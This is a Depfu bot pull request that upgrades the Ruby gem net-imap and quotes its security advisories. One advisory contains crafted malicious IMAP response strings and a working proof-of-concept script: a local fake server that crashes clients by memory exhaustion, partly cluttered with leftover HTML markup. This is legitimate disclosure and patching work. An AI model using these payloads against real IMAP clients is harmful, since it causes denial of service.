🚨 [security] [ruby] Update net-imap 0.4.14 → 0.4.20 (minor) #134

depfu · 2025-04-28T16:19:39Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ net-imap (indirect, 0.4.14 → 0.4.20) · Repo

Security Advisories 🚨

🚨 net-imap rubygem vulnerable to possible DoS by memory exhaustion

Summary

There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.

This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).

Details

The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.

Fix

Upgrade

Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20.

To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7.

Configuration

To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited).

When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used.
# Set the global max_response_size (only ~> v0.4.20, > 0.5.7)
Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB
# Set when creating the connection

imap = Net::IMAP.new(hostname, ssl: true,

max_response_size: 16 << 10) # 16 KiB
# Set after creating the connection

imap.max_response_size = 256 << 20 # 256 KiB

# flush currently waiting read, to ensure the new setting is loaded

imap.noop
Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.

Compatibility with lower max_response_size

A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:
imap.max_response_size = 256 << 20 # 256 KiB
imap.noop # flush currently waiting read
# fetch a message in 252KiB chunks

size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size

limit = 252 << 10

message = ((0..size) % limit).each_with_object("") {|offset, str|

str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:)

}
imap.max_response_size = 16 << 20 # 16 KiB

imap.noop # flush currently waiting read
References

PR to introduce max_response_size: #442

Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb

Backport to 0.4: #445

Backport to 0.3: #446

Backport to 0.2: #447

🚨 Possible DoS by memory exhaustion in net-imap

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB: "* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst valid input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
# UINT32_MAX can be created. For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"
def test(size)

input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"

parser = Net::IMAP::ResponseParser.new

parser.parse input

end
test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)

puts "Net::IMAP.config is not available"

elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)

puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"

else

Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size

puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"

end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr

Addrinfo.tcp("localhost", 0).ip_address

end
def create_tcp_server

TCPServer.new(server_addr, 0)

end
def start_server

th = Thread.new do

yield

end

sleep 0.1 until th.stop?

end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")

"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"

end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")

"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"

end
server = create_tcp_server

port = server.addr[1]

puts "Server started on port #{port}"
# server

start_server do

sock = server.accept

begin

sock.print "* OK test server\r\n"

cmd = sock.gets("\r\n", chomp: true)

tag = cmd.match(/\A(\w+) /)[1]

puts "Received: #{cmd}"
<span class="pl-s1">malicious_response</span> <span class="pl-c1">=</span> <span class="pl-en">appenduid_response</span><span class="pl-kos">(</span><span class="pl-pds">size</span>:<span class="pl-kos">)</span>
<span class="pl-en">puts</span> <span class="pl-s">"Sending: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">malicious_response</span><span class="pl-kos">.</span><span class="pl-en">chomp</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s1">malicious_response</span>

<span class="pl-s1">malicious_response</span> <span class="pl-c1">=</span> <span class="pl-en">copyuid_response</span><span class="pl-kos">(</span><span class="pl-pds">size</span>:<span class="pl-kos">)</span>
<span class="pl-en">puts</span> <span class="pl-s">"Sending: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">malicious_response</span><span class="pl-kos">.</span><span class="pl-en">chomp</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s1">malicious_response</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">tag</span><span class="pl-kos">}</span></span> OK CAPABILITY completed<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>

<span class="pl-s1">cmd</span> <span class="pl-c1">=</span> <span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">gets</span><span class="pl-kos">(</span><span class="pl-s">"<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span><span class="pl-kos">,</span> <span class="pl-pds">chomp</span>: <span class="pl-c1">true</span><span class="pl-kos">)</span>
<span class="pl-s1">tag</span> <span class="pl-c1">=</span> <span class="pl-s1">cmd</span><span class="pl-kos">.</span><span class="pl-en">match</span><span class="pl-kos">(</span><span class="pl-sr">/<span class="pl-cce">\A</span>(<span class="pl-cce">\w</span>+) /</span><span class="pl-kos">)</span><span class="pl-kos">[</span><span class="pl-c1">1</span><span class="pl-kos">]</span>
<span class="pl-en">puts</span> <span class="pl-s">"Received: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">cmd</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"* BYE If you made it this far, you passed the test!<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">tag</span><span class="pl-kos">}</span></span> OK LOGOUT completed<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>

rescue Exception => ex

puts "Error in server: #{ex.message} (#{ex.class})"

ensure

sock.close

server.close

end

end
# client

begin

puts "Client connecting,.."

imap = Net::IMAP.new(server_addr, port: port)

puts "Received capabilities: #{imap.capability}"

pp responses: imap.responses

imap.logout

rescue Exception => ex

puts "Error in client: #{ex.message} (#{ex.class})"

puts ex.full_message

ensure

imap.disconnect if imap

end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

Release Notes

0.4.20

What's Changed

Added

✨ Add response_handlers kwarg to Net::IMAP.new by @nevans in #427

Backports #419

✨ Limit max_response_size by @nevans in #445

Backports #444

Documentation

📚 Backport documentation to v0.4 by @nevans in #426

Backports #418, #420, documentation only from #416, and #424

Other Changes

♻️ Update versioned default configs by @nevans in #413

Backports #412

♻️ Refactor get_response by @nevans in #431

Backports #422

♻️ Rational config versions by @nevans in #430

Backports #429

♻️ Extract ResponseReader from get_response by @nevans in #434

Backports #433

♻️ Refactoring by @nevans in #436

Backports #417 and #435

Miscellaneous

✅ Various test improvements to v0.4 by @nevans in #425

Backports #414, #415, #421, and assert_pattern from minitest (originally in #333)

Full Changelog: v0.4.19...v0.4.20

0.4.18

What's Changed

🐛 Fix SequenceSet.try_convert by @nevans in #350 (backports #349)

Full Changelog: v0.4.17...v0.4.18

0.4.17

What's Changed

Added features

✨ Add #extract_responses method by @nevans in #337 (backports #330)

✨ New config option to return frozen dup from #responses by @nevans in #339 (backports #334)
This will become the default in v0.6.0.

Bug fixes

🐛 Fix SequenceSet[input] when input is a SequenceSet by @nevans in #327 (backports #326)

Other Changes

🥅 Improve SequenceSet frozen errors by @nevans in #338 (backports #331)

Miscellaneous

✅ Add a Mutex to FakeServer (for tests only) by @nevans in #336 (backports #317)

✅ Fix GH action for Rubygems Trusted Publishing by @nevans in #341 (backports #340)

Full Changelog: v0.4.16...v0.4.17

0.4.16

What's Changed

Fixed

🐛 Fix #header_fld_name to handle quoted strings correctly by @taku0 in #315

Full Changelog: v0.4.15...v0.4.16

0.4.15

What's Changed

Fixed

🐛 Fix #send_data to send DateTime as time by @taku0 in #313

New Contributors

@taku0 made their first contribution in #313

Full Changelog: v0.4.14...v0.4.15

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ date (indirect, 3.3.4 → 3.4.1) · Repo

Release Notes

3.4.1

What's Changed

Fix incorrect argc2 decrement in datetime_s_iso8601 function by @pelbyl in #105

Trivial changes by @nobu in #107

Bump step-security/harden-runner from 2.10.1 to 2.10.2 by @dependabot in #109

Bump rubygems/release-gem from 612653d273a73bdae1df8453e090060bb4db5f31 to 9e85cb11501bebc2ae661c1500176316d3987059 by @dependabot in #108

[DOC] Empty the false document by @nobu in #110

Suppress warnings by @nobu in #111

New Contributors

@pelbyl made their first contribution in #105

Full Changelog: v3.4.0...v3.4.1

3.4.0

What's Changed

Provide a 'Changelog' link on rubygems.org/gems/date by @mark-young-atg in #101

Remove the unintentional ability to parse Symbol by @nobu in #102

Prevent converted gregorian date from GC by @nobu in #103

[DOC] Specify the unit of return value for Date#- by @p0pemaru in #97

Update gperf by @nobu in #104

New Contributors

@mark-young-atg made their first contribution in #101

@p0pemaru made their first contribution in #97

Full Changelog: v3.3.4...v3.4.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ timeout (indirect, 0.4.1 → 0.4.3) · Repo

Release Notes

0.4.3

What's Changed

Bump rubygems/release-gem from 612653d273a73bdae1df8453e090060bb4db5f31 to 9e85cb11501bebc2ae661c1500176316d3987059 by @dependabot in #54

Bump step-security/harden-runner from 2.10.1 to 2.10.2 by @dependabot in #55

added the check for negative sec by @Cosmicoppai in #51

New Contributors

@Cosmicoppai made their first contribution in #51

Full Changelog: v0.4.2...v0.4.3

0.4.2

What's Changed

fixed check for error bubble up test by @jjb in #43

[DOC] Missing documents by @nobu in #45

Provide a 'Changelog' link on rubygems.org/gems/timeout by @mark-young-atg in #46

Global #timeout was removed 5 years ago by @jpcamara in #49

timeout.rb: Update documentation to match README by @olleolleolle in #50

New Contributors

@mark-young-atg made their first contribution in #46

@jpcamara made their first contribution in #49

Full Changelog: v0.4.1...v0.4.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Update net-imap to version 0.4.20

42cccf6

depfu bot added the depfu label Apr 28, 2025

depfu bot mentioned this pull request Apr 28, 2025

🚨 [security] [ruby] Update net-imap 0.4.14 → 0.4.19 (minor) #124

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] [ruby] Update net-imap 0.4.14 → 0.4.20 (minor) #134

🚨 [security] [ruby] Update net-imap 0.4.14 → 0.4.20 (minor) #134

depfu bot commented Apr 28, 2025

🚨 [security] [ruby] Update net-imap 0.4.14 → 0.4.20 (minor) #134

Are you sure you want to change the base?

🚨 [security] [ruby] Update net-imap 0.4.14 → 0.4.20 (minor) #134

Conversation

depfu bot commented Apr 28, 2025

What changed?

↗️ net-imap (indirect, 0.4.14 → 0.4.20) · Repo

Summary

Details

Fix

Upgrade

Configuration

Compatibility with lower max_response_size

References

Summary

Details

Fixes

Preferred Fix, minor API changes

Mitigation, backward compatible API

Please Note: unhandled responses

Proof of concept

What's Changed

Added

Documentation

Other Changes

Miscellaneous

What's Changed

What's Changed

Added features

Bug fixes

Other Changes

Miscellaneous

What's Changed

Fixed

What's Changed

Fixed

New Contributors

↗️ date (indirect, 3.3.4 → 3.4.1) · Repo

What's Changed

New Contributors

What's Changed

New Contributors

↗️ timeout (indirect, 0.4.1 → 0.4.3) · Repo

What's Changed

New Contributors

What's Changed

New Contributors

Compatibility with lower `max_response_size`